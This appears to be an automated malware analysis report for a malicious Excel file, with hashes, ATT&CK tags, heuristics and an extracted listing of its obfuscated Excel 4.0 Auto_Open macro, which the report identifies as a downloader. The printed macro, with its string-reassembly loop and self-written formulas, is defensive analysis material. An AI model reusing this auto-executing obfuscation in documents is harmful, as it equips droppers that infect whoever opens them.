Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ef63be5379cac61f…

MALICIOUS

Office (OLE)

35.5 KB Created: 2020-11-25 10:44:17 Authoring application: Microsoft Excel First seen: 2021-08-25
MD5: 8277c2f84066c001f4eb376a2ce3c4df SHA-1: 469db0fcd559a055eddc001b391d345e5fa3ee6b SHA-256: ef63be5379cac61faa41a45b33a12f726a4e24dd3a2783cf39cc5fb49ee99106
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file is an Excel document containing Excel 4.0 (XLM) macros, specifically an Auto_Open macro. This macro is configured to execute dangerous formula APIs, indicating an intent to run arbitrary code. The presence of obfuscated strings and the nature of XLM macros suggest this is a downloader for a second-stage payload.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6400 bytes
SHA-256: c112ade73fe9d032258e65ffbc87a5244e87b61fbdbd038327dd4f96d2947e4c
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     12 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  Wof
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!H166 
' 0018     22 LABEL : Cell Value, String Constant - bKZoTAZ len=0 
' 0018     27 LABEL : Cell Value, String Constant - CjOagrAGjGYR len=0 
' 0018     24 LABEL : Cell Value, String Constant - dKZLBipSX len=0 
' 0018     27 LABEL : Cell Value, String Constant - FZhBAHgrlNeF len=0 
' 0018     26 LABEL : Cell Value, String Constant - gZnyYrMtFrh len=0 
' 0018     20 LABEL : Cell Value, String Constant - gZPkt len=0 
' 0018     21 LABEL : Cell Value, String Constant - hsInbr len=0 
' 0018     24 LABEL : Cell Value, String Constant - jJfKhzYSU len=0 
' 0018     21 LABEL : Cell Value, String Constant - kJqVEP len=0 
' 0018     24 LABEL : Cell Value, String Constant - nGHBuQpMP len=0 
' 0018     21 LABEL : Cell Value, String Constant - oYJAIn len=0 
' 0018     21 LABEL : Cell Value, String Constant - poDxpo len=0 
' 0018     27 LABEL : Cell Value, String Constant - QgLPJInzXPjq len=0 
' 0018     25 LABEL : Cell Value, String Constant - RaFRXBiKeZ len=0 
' 0018     22 LABEL : Cell Value, String Constant - RsrThUV len=0 
' 0018     25 LABEL : Cell Value, String Constant - ruHBMjORpt len=0 
' 0018     23 LABEL : Cell Value, String Constant - vhmiDJsp len=0 
' 0018     25 LABEL : Cell Value, String Constant - vpbLOItFyF len=0 
' 0018     27 LABEL : Cell Value, String Constant - zaTTzHoPexfS len=0 
' 0018     25 LABEL : Cell Value, String Constant - zGwxLbiQtg len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  Wof,H76,"SET.NAME("jJfKhzYSU",VALUE("0"))",""
'  Wof,H80,"SET.NAME("poDxpo",jJfKhzYSU)",""
'  Wof,H83,"SET.NAME("hsInbr",jJfKhzYSU)",""
'  Wof,H86,"SET.NAME("oYJAIn",COUNTA(vpbLOItFyF))",""
'  Wof,H89,"SET.NAME("gZPkt",COUNTA(RaFRXBiKeZ))",""
'  Wof,H91,[],""
'  Wof,H95,"SET.NAME("FZhBAHgrlNeF","")",""
'  Wof,H98,"poDxpo",""
'  Wof,H100,"SET.NAME("QgLPJInzXPjq",HLOOKUP("*",vpbLOItFyF,poDxpo,FALSE))",""
'  Wof,H103,"kJqVEP",""
'  Wof,H105,"SET.NAME("CjOagrAGjGYR",jJfKhzYSU)",""
'  Wof,H110,[],""
'  Wof,H114,"CjOagrAGjGYR",""
'  Wof,H118,"dKZLBipSX",""
'  Wof,H120,"zaTTzHoPexfS",""
'  Wof,H125,"ruHBMjORpt",""
'  Wof,H128,"SET.NAME("vhmiDJsp",VALUE(HLOOKUP("*",RaFRXBiKeZ,ruHBMjORpt,FALSE)))",""
'  Wof,H130,"bKZoTAZ",""
'  Wof,H133,"FZhBAHgrlNeF",""
'  Wof,H138,"hsInbr",""
'  Wof,H140,NEXT(),""
'  Wof,H144,"zGwxLbiQtg",""
'  Wof,H146,"SET.NAME("f",INT(T(FORMULA(T(FZhBAHgrlNeF)&"",""&T(zGwxLbiQtg)))))",""
'  Wof,H151,"nGHBuQpMP",""
'  Wof,H156,NEXT(),""
'  Wof,H161,RETURN(),""
'  Wof,H183,"SET.NAME("RsrThUV",H76)",""
'  Wof,H188,"vpbLOItFyF",""
'  Wof,H193,"SET.NAME("RaFRXBiKeZ",R95C12)",""
'  Wof,H195,"SET.NAME("nGHBuQpMP",203)",""
'  Wof,H199,"SET.NAME("gZnyYrMtFrh",8)",""
'  Wof,H202,RsrThUV(),""
'  Wof,H203,HALT(),""

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